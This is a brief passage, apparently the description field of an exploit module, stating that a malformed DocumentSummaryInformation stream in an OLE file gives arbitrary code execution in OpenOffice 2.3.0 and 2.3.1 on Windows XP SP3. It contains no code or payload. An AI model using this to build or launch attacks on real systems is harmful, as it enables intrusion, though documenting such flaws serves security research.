'Description' => %q{  
This module exploits a vulnerability in OpenOffice 2.3.1 and 2.3.0 on  
Microsoft Windows XP SP3.  
  
By supplying a OLE file with a malformed DocumentSummaryInformation stream, an  
attacker can gain control of the execution flow, which results arbitrary code  
execution under the context of the user.
